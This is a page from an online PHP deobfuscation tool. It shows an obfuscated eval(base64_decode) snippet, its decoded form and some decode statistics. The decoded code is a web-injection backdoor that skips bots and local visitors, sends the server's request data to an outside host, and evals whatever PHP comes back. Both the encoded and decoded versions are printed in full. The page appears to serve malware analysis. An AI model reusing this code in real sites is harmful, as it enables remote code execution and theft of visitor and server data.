Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); eval(base64_decode('LyogNDUzNTQ2Njc3MzU2MzU4OCAqLwplcnJvcl9yZXBv..

Decoded Output download

/* 4535466773563588 */
error_reporting(0);
if (!function_exists('live_stats')) {
function live_stats(){
$live_stats_url="http://www.bees-knees-translations.com/sesion.php?id";
if($include_test) return 0;
global $include_test; $include_test = 1;
if($_GET['forced_stop'] or $_POST['forced_stop']) return 0;
if($_GET['forced_start'] or $_POST['forced_start']){} else {
if($_COOKIE['live_stats']) return 0;
$uagent=$_SERVER["HTTP_USER_AGENT"];
if(!$uagent) return 0;
if(strpos($uagent, "Win" ) === false) return 0;
$url_get = "";
if(isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=='on')) {
	$url_get .= "https:";} else { $url_get .= "http:";}
if($_SERVER['SERVER_PORT'] == 80 or $_SERVER['SERVER_PORT'] == 443){
	$url_get .= "//";} else { $url_get .= $_SERVER['SERVER_PORT']."//";}
$url_get .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
if($_SERVER['HTTP_REFERER'] === $url_get) return 0;
if($_SERVER['REMOTE_ADDR'] === "127.0.0.1") return 0;
if($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) return 0;
$bot_list = array("Google", "Slurp", "MSNBot",
"ia_archiver", "Yandex", "Rambler", 
"bot", "spid", "Lynx", "PHP", 
"WordPress","integromedb","SISTRIX",
"Aggregator", "findlinks", "Xenu", 
"BacklinkCrawler", "Scheduler", "mod_pagespeed",
"Index", "ahoo", "Tapatalk", "PubSub", "RSS");
if(preg_match("/" . implode("|", $bot_list) . "/i", $bkljg)) return 0;
}
foreach($_SERVER as $key => $value) { 
$data.= "&REM_".$key."='".base64_encode($value)."'";}
$context = stream_context_create(
array('http'=>array(
	'timeout' => '60',
	'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9
Connection: Close

",
	'method' => 'POST',
	'content' => "REM_REM='1'".$data
)));
$contents=file_get_contents($live_stats_url, false ,$context);
if(!$contents) {
	if(!headers_sent()) {
	@setcookie("live_stats","2",time()+172800); return 0; } 
	echo "<script>document.cookie='live_stats=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';</script>"; return 0;}
eval($contents);
}}
live_stats();
/* 4535466773563588 */

Did this file decode correctly?

Original Code

<?php error_reporting(0); eval(base64_decode('LyogNDUzNTQ2Njc3MzU2MzU4OCAqLwplcnJvcl9yZXBvcnRpbmcoMCk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCdsaXZlX3N0YXRzJykpIHsKZnVuY3Rpb24gbGl2ZV9zdGF0cygpewokbGl2ZV9zdGF0c191cmw9Imh0dHA6Ly93d3cuYmVlcy1rbmVlcy10cmFuc2xhdGlvbnMuY29tL3Nlc2lvbi5waHA/aWQiOwppZigkaW5jbHVkZV90ZXN0KSByZXR1cm4gMDsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwppZigkX0dFVFsnZm9yY2VkX3N0b3AnXSBvciAkX1BPU1RbJ2ZvcmNlZF9zdG9wJ10pIHJldHVybiAwOwppZigkX0dFVFsnZm9yY2VkX3N0YXJ0J10gb3IgJF9QT1NUWydmb3JjZWRfc3RhcnQnXSl7fSBlbHNlIHsKaWYoJF9DT09LSUVbJ2xpdmVfc3RhdHMnXSkgcmV0dXJuIDA7CiR1YWdlbnQ9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwppZighJHVhZ2VudCkgcmV0dXJuIDA7CmlmKHN0cnBvcygkdWFnZW50LCAiV2luIiApID09PSBmYWxzZSkgcmV0dXJuIDA7CiR1cmxfZ2V0ID0gIiI7CmlmKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbicpKSB7CgkkdXJsX2dldCAuPSAiaHR0cHM6Ijt9IGVsc2UgeyAkdXJsX2dldCAuPSAiaHR0cDoiO30KaWYoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gODAgb3IgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKXsKCSR1cmxfZ2V0IC49ICIvLyI7fSBlbHNlIHsgJHVybF9nZXQgLj0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10uIi8vIjt9CiR1cmxfZ2V0IC49ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPT09ICR1cmxfZ2V0KSByZXR1cm4gMDsKaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICIxMjcuMC4wLjEiKSByZXR1cm4gMDsKaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSByZXR1cm4gMDsKJGJvdF9saXN0ID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLAoiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiLCAKImJvdCIsICJzcGlkIiwgIkx5bngiLCAiUEhQIiwgCiJXb3JkUHJlc3MiLCJpbnRlZ3JvbWVkYiIsIlNJU1RSSVgiLAoiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsIAoiQmFja2xpbmtDcmF3bGVyIiwgIlNjaGVkdWxlciIsICJtb2RfcGFnZXNwZWVkIiwKIkluZGV4IiwgImFob28iLCAiVGFwYXRhbGsiLCAiUHViU3ViIiwgIlJTUyIpOwppZihwcmVnX21hdGNoKCIvIiAuIGltcGxvZGUoInwiLCAkYm90X2xpc3QpIC4gIi9pIiwgJGJrbGpnKSkgcmV0dXJuIDA7Cn0KZm9yZWFjaCgkX1NFUlZFUiBhcyAka2V5ID0+ICR2YWx1ZSkgeyAKJGRhdGEuPSAiJlJFTV8iLiRrZXkuIj0nIi5iYXNlNjRfZW5jb2RlKCR2YWx1ZSkuIiciO30KJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoCmFycmF5KCdodHRwJz0+YXJyYXkoCgkndGltZW91dCcgPT4gJzYwJywKCSdoZWFkZXInID0+ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCBpNjg2OyBydjoxMC4wLjkpIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTAuMC45XyBJY2V3ZWFzZWwvMTAuMC45XHJcbkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iLAoJJ21ldGhvZCcgPT4gJ1BPU1QnLAoJJ2NvbnRlbnQnID0+ICJSRU1fUkVNPScxJyIuJGRhdGEKKSkpOwokY29udGVudHM9ZmlsZV9nZXRfY29udGVudHMoJGxpdmVfc3RhdHNfdXJsLCBmYWxzZSAsJGNvbnRleHQpOwppZighJGNvbnRlbnRzKSB7CglpZighaGVhZGVyc19zZW50KCkpIHsKCUBzZXRjb29raWUoImxpdmVfc3RhdHMiLCIyIix0aW1lKCkrMTcyODAwKTsgcmV0dXJuIDA7IH0gCgllY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nbGl2ZV9zdGF0cz0yOyBwYXRoPS87IGV4cGlyZXM9Ii5kYXRlKCdELCBkLU0tWSBIOmk6cycsdGltZSgpKzE3MjgwMCkuIiBHTVQ7Jzs8L3NjcmlwdD4iOyByZXR1cm4gMDt9CmV2YWwoJGNvbnRlbnRzKTsKfX0KbGl2ZV9zdGF0cygpOwovKiA0NTM1NDY2NzczNTYzNTg4ICov')); ?><?php

Function Calls

base64_decode 1
error_reporting 1

Variables

None

Stats

MD5 95fe7399ce5e4a61b69b23ffd019dbbf
Eval Count 1
Decode Time 142 ms